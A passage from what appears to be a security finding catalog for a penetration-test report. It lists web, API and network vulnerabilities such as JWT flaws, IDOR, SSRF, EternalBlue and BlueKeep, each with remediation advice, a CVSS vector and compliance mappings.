CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement), T1550.004 (Defense Evasion)
NIST 800-53: AC-12, IA-5
PCI DSS 4: 8.3.6
CRITICAL PHX-010 — JWT None Algorithm Accepted
Remediation: Reject JWTs with 'none' algorithm. Explicitly whitelist accepted algorithms (HS256 or RS256). Validate the 'alg' header server-side before verifying the signature.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
HIGH PHX-011 — OAuth Misconfiguration – Open Redirect in Redirect URI
Remediation: Enforce strict redirect_uri validation — exact string match against a pre-registered whitelist. Reject wildcard or partial-match redirect URIs. Use state parameter to prevent CSRF.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1189 (Initial Access)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 8.3.6
HIGH PHX-012 — Insecure Direct Object Reference (IDOR)
Remediation: Enforce authorization checks on every object access server-side. Use indirect reference maps (GUIDs instead of sequential IDs). Never rely on obscurity of object identifiers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 6.2.4, 7.2.1
MEDIUM PHX-013 — Weak Password Policy
Remediation: Enforce a minimum password length of 12 characters with complexity requirements. Check passwords against known-breached password lists (HIBP). Encourage passphrases.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
HIGH PHX-014 — Broken Object Level Authorization (BOLA)
Remediation: Enforce per-request object ownership validation. Do not trust client-supplied object IDs without authorization checks. Use UUIDs and validate ownership against the authenticated user's context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH PHX-015 — Broken Function Level Authorization (BFLA)
Remediation: Implement role-based access control for every API endpoint. Deny by default — explicitly grant access to admin/sensitive functions. Audit all sensitive function calls.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH PHX-016 — Mass Assignment Vulnerability
Remediation: Use explicit allowlists (DTOs) to control which fields can be bound from requests. Never bind internal/privileged fields (isAdmin, role, credit) from user input directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CRITICAL PHX-017 — Privilege Escalation – Vertical
Remediation: Enforce strict role checks server-side before executing privileged operations. Audit role assignment logic. Apply principle of least privilege across all user roles.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
HIGH PHX-018 — Path Traversal
Remediation: Canonicalize file paths and validate against an allowed base directory. Use chroot jails. Never allow user input to determine file paths directly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
MEDIUM PHX-019 — Weak TLS Configuration
Remediation: Disable TLS 1.0 and TLS 1.1. Enforce TLS 1.2 as minimum with TLS 1.3 preferred. Disable SSLv2/SSLv3. Configure strong cipher suites only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM PHX-020 — SSL Certificate Expired or Self-Signed
Remediation: Replace expired or self-signed certificates with CA-signed certificates. Implement certificate lifecycle management with automated renewal (e.g., Let's Encrypt with ACME).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
MEDIUM PHX-021 — Weak Cipher Suite Enabled
Remediation: Disable all EXPORT, NULL, RC4, and DES ciphers. Configure a strong cipher suite order (ECDHE+AESGCM preferred). Use tools like Mozilla SSL Config Generator.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
HIGH PHX-022 — Cleartext Transmission of Sensitive Data
Remediation: Enforce HTTPS for all communications. Implement HSTS with a long max-age. Redirect all HTTP traffic to HTTPS. Never transmit credentials, tokens, or PII over unencrypted channels.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection), T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1, 4.2.2
HIGH PHX-023 — Insecure Password Hashing (MD5/SHA1)
Remediation: Replace MD5/SHA1 password hashing with bcrypt, scrypt, or Argon2. Add unique per-user salts. Migrate existing hashes on next login.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.2
CRITICAL PHX-024 — Default Credentials in Use
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
HIGH PHX-025 — Debug Endpoint Exposed
Remediation: Disable or restrict all debug endpoints in production. Remove phpinfo() calls. Restrict Spring Boot Actuator endpoints to internal IPs only. Use environment-specific configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1595 (Reconnaissance), T1592 (Reconnaissance)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4, 2.2.1
MEDIUM PHX-026 — Verbose Error Messages Exposing Internals
Remediation: Configure generic error pages for production. Log detailed errors server-side only. Never expose stack traces, SQL errors, or framework details to users.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-6, SI-11
PCI DSS 4: 6.2.4
HIGH PHX-027 — CORS Misconfiguration – Wildcard Origin Allowed
Remediation: Restrict CORS to explicitly defined, trusted origins. Never use wildcard (*) with credentials. Validate the Origin header against a server-side allowlist.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
MEDIUM PHX-028 — Missing HTTP Security Headers
Remediation: Add Content-Security-Policy, Strict-Transport-Security, X-Frame-Options (DENY), X-Content-Type-Options (nosniff), and Referrer-Policy headers to all responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: CM-6, SC-18
PCI DSS 4: 6.2.4
MEDIUM PHX-029 — Open Port – Unnecessary Service Exposed
Remediation: Close or firewall all ports not required for business operations. Review and document all listening services. Apply network segmentation and default-deny firewall rules.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: CM-7, SA-9
PCI DSS 4: 1.3.1
HIGH PHX-030 — SMB Signing Disabled
Remediation: Enable and require SMB signing on all Windows hosts via Group Policy. This prevents NTLM relay attacks that exploit unsigned SMB traffic.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
CRITICAL PHX-031 — EternalBlue (MS17-010) Vulnerability
Remediation: Apply MS17-010 security update immediately. Disable SMBv1 on all hosts. Block inbound SMB (port 445) at network perimeter.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, CM-7
PCI DSS 4: 6.3.3
CISA KEV
HIGH PHX-032 — RDP Exposed to Internet
Remediation: Restrict RDP access to internal networks only. Require VPN for remote access. Enable NLA (Network Level Authentication). Apply all RDP-related security patches.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1133 (Initial Access), T1021.001 (Lateral Movement)
NIST 800-53: CM-7, AC-17
PCI DSS 4: 1.3.1
CISA KEV
MEDIUM PHX-033 — SSH Weak Configuration
Remediation: Disable password authentication; enforce key-based auth. Disable root login. Restrict SSH to strong key exchange algorithms (curve25519). Limit access by IP/group.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1021.004 (Lateral Movement)
NIST 800-53: AC-17, IA-5, CM-6
PCI DSS 4: 8.3.6, 2.2.7
MEDIUM PHX-034 — DNS Zone Transfer Allowed
Remediation: Restrict zone transfers to authorized secondary name servers only. Configure TSIG (transaction signatures) for zone transfer authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1590.002 (Reconnaissance)
NIST 800-53: CM-7, SC-20
PCI DSS 4: 1.3.1
CRITICAL PHX-035 — Exposed Credentials in Public GitHub Repository
Remediation: Immediately rotate all exposed credentials. Remove secrets from repository history using git-filter-repo. Implement pre-commit hooks (truffleHog, gitleaks) to prevent future leaks. Use a secrets manager.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access), T1213 (Collection)
NIST 800-53: IA-5, CM-12
PCI DSS 4: 3.4.1, 8.3.2
INFO PHX-036 — Subdomain Enumeration – Internal Subdomains Discovered
Remediation: Review discovered subdomains for unintended exposure. Decommission unused subdomains. Ensure internal services are not reachable from the public internet.
Effort: Moderate
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8
HIGH PHX-037 — Data Leak – Sensitive Information in Public Paste Site
Remediation: Immediately rotate all exposed credentials. Engage with paste site to remove content. Implement DLP controls and monitor for future exposure via threat intelligence feeds.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: IR-6, IA-5
PCI DSS 4: 3.4.1
CRITICAL PHX-038 — Hardcoded Credentials in Source Code
Remediation: Remove all hardcoded credentials from source code immediately. Rotate exposed secrets. Use a secrets manager (Vault, AWS Secrets Manager). Add pre-commit scanning hooks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SA-11
PCI DSS 4: 3.4.1, 8.3.2
CISA KEV
CRITICAL PHX-039 — Insecure Deserialization
Remediation: Do not deserialize untrusted data. Implement integrity checks before deserialization. Use type-safe serialization formats. Apply deserialization allowlists where unavoidable.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL PHX-040 — Unsafe File Upload – Arbitrary File Write
Remediation: Validate file type by content (magic bytes), not extension. Store uploads outside web root. Rename files with random names. Scan uploaded files with antivirus. Never execute uploaded content.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A04:2021 – Insecure Design
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1105 (Command and Control), T1190 (Initial Access)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-041 — Vulnerable Third-Party Dependency
Remediation: Update vulnerable dependency to a patched version. Subscribe to security advisories. Integrate SCA scanning into CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1195.001 (Initial Access)
NIST 800-53: SI-2, SA-12, RA-5
PCI DSS 4: 6.3.3
MEDIUM PHX-042 — API Rate Limiting Absent
Remediation: Implement per-user and per-IP rate limiting on all API endpoints. Apply exponential backoff for authentication endpoints. Return 429 Too Many Requests with Retry-After headers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 – Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
LOW PHX-043 — API Version Disclosure
Remediation: Maintain an API version inventory. Decommission deprecated API versions. Do not expose internal version strings in responses or error messages.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-8
MEDIUM PHX-044 — GraphQL Introspection Enabled in Production
Remediation: Disable GraphQL introspection in production environments. Implement query depth limiting and query cost analysis to prevent abuse.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-045 — SOAP Action Spoofing
Remediation: Validate the SOAPAction header against the actual WSDL definition. Reject requests where SOAPAction does not match the endpoint's expected operations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-046 — Parameter Tampering – Price Manipulation
Remediation: Never trust client-supplied pricing or financial data. Recalculate prices server-side from the product catalog on every transaction. Validate all order parameters against authoritative backend data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: SI-10, AC-3
PCI DSS 4: 6.2.4
HIGH PHX-047 — Race Condition – Time-of-Check to Time-of-Use (TOCTOU)
Remediation: Use atomic operations and database-level locking for critical state transitions. Implement idempotency keys for financial transactions. Apply optimistic locking patterns.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-048 — Account Enumeration via Login Response
Remediation: Return identical error messages for invalid username and invalid password. Apply consistent response timing to prevent timing-based enumeration. Use CAPTCHA after repeated failures.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: IA-5, SI-11
PCI DSS 4: 8.3.4
HIGH PHX-049 — Cross-Site Request Forgery (CSRF)
Remediation: Implement CSRF tokens on all state-changing requests. Use SameSite=Strict or Lax cookie attribute. Validate Origin and Referer headers for sensitive operations.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-10, SC-8
PCI DSS 4: 6.2.4
CRITICAL PHX-050 — Server-Side Request Forgery (SSRF)
Remediation: Validate and sanitize all URLs provided by users. Use an allowlist for permitted destinations. Disable unnecessary URL scheme handlers. Block cloud metadata IP ranges (169.254.169.254).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
MEDIUM PHX-051 — Open Redirect
Remediation: Validate redirect destinations against a server-side allowlist. Avoid using user-supplied values as redirect targets. Use indirect mapping for permitted redirect targets.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A01:2021 – Broken Access Control
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-052 — Clickjacking – Missing X-Frame-Options
Remediation: Add X-Frame-Options: DENY or SAMEORIGIN header. Use Content-Security-Policy frame-ancestors directive as the modern equivalent.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
MEDIUM PHX-053 — HTTP Method Tampering
Remediation: Restrict HTTP methods to only those required by the application (GET, POST). Disable PUT, DELETE, TRACE, and OPTIONS where not needed. Validate method at the authorization layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-054 — Missing Logging and Monitoring
Remediation: Log all authentication events, access control failures, and administrative actions. Centralize logs to a SIEM. Configure alerts for anomalous patterns. Retain logs per compliance requirements.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
NIST 800-53: AU-2, AU-3, AU-12, IR-4
PCI DSS 4: 10.2.1, 10.3.1
HIGH PHX-055 — Broken Object Property Level Authorization (BOPLA)
Remediation: Filter API responses to return only fields the requesting user is authorized to see. Use response schemas/DTOs to explicitly whitelist returned fields. Apply property-level access control.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API3:2023 – Broken Object Property Level Authorization
NIST 800-53: AC-3, AC-4
PCI DSS 4: 3.4.1
CRITICAL PHX-056 — JWT Weak Secret
Remediation: Use a cryptographically random secret of at least 256 bits for HS256. Prefer RS256/ES256 with properly managed key pairs. Rotate secrets regularly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6
HIGH PHX-057 — Sensitive Data Exposed in URL Parameters
Remediation: Never pass sensitive data (passwords, tokens, API keys) in URL query parameters. Use request bodies (POST) or headers. Ensure server logs do not capture sensitive query parameters.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1552 (Credential Access)
NIST 800-53: SC-8, SI-12
PCI DSS 4: 4.2.1
HIGH PHX-058 — XPath Injection
Remediation: Use parameterized XPath queries. Escape special XPath/XML characters in user input. Use XML schema validation to reject malformed documents.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-059 — Missing Multi-Factor Authentication
Remediation: Enforce MFA for all user accounts, especially administrative accounts. Use TOTP or hardware tokens. Apply adaptive MFA based on risk signals.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.4.2
HIGH PHX-060 — FTP Service Exposed
Remediation: Disable anonymous FTP access. Replace FTP with SFTP or FTPS. Restrict FTP access to internal networks. If FTP is required, enforce authentication and encryption.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1048 (Exfiltration)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 4.2.1, 2.2.1
HIGH PHX-061 — Telnet Service Enabled
Remediation: Disable Telnet. Replace with SSH for all remote management. Block port 23 at the network perimeter.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: CM-7, SC-8
PCI DSS 4: 2.2.1, 4.2.1
HIGH PHX-062 — SNMP Default Community String
Remediation: Change default SNMP community strings immediately. Upgrade to SNMPv3 with authentication and encryption. Restrict SNMP access to management networks only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1602.001 (Collection)
NIST 800-53: CM-6, IA-5
PCI DSS 4: 2.2.1
MEDIUM PHX-063 — HTTP Methods: Unsafe Methods Enabled
Remediation: Disable the HTTP TRACE method on all web servers. In Apache: TraceEnable Off. In Nginx: return 405 for TRACE requests.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
MEDIUM PHX-064 — Cookie Without Secure Flag
Remediation: Set the Secure flag on all cookies to prevent transmission over non-HTTPS connections. Also set HttpOnly and SameSite flags appropriately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM PHX-065 — Cookie Without HttpOnly Flag
Remediation: Set HttpOnly flag on all session and authentication cookies to prevent JavaScript access and mitigate XSS-based session theft.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SC-18, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-066 — Stored Cross-Site Scripting (XSS)
Remediation: Sanitize input on storage and encode output on render. Apply strict CSP. Treat stored user content as untrusted and encode at each output context.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH PHX-067 — Insecure Direct Object Reference – File Access
Remediation: Validate that the authenticated user owns or has explicit access to each requested file. Use access control lists per file resource. Store files with non-guessable names.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH PHX-068 — Business Logic Flaw – Negative Quantity Accepted
Remediation: Enforce server-side validation that quantities, prices, and counts are within acceptable positive ranges. Reject or sanitize negative or zero values for business-critical numeric fields.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 – Insecure Design
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
LOW PHX-069 — Information Disclosure – Server Version Banner
Remediation: Suppress or remove version information from Server, X-Powered-By, and X-AspNet-Version headers. Configure web server to return generic or no version strings.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-6, SI-11
CRITICAL PHX-070 — Unprotected Admin Interface
Remediation: Restrict admin interfaces to internal networks via IP allowlisting. Require MFA for all admin access. Do not expose administrative panels on public-facing hosts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: AC-3, AC-17
PCI DSS 4: 7.2.1
CRITICAL PHX-071 — BlueKeep – RDP Pre-Auth RCE (CVE-2019-0708)
Remediation: Apply Microsoft security update for CVE-2019-0708 immediately. Enable NLA. Block RDP from public internet. Isolate unpatched systems behind a VPN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, CM-7
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-072 — Log4Shell (CVE-2021-44228)
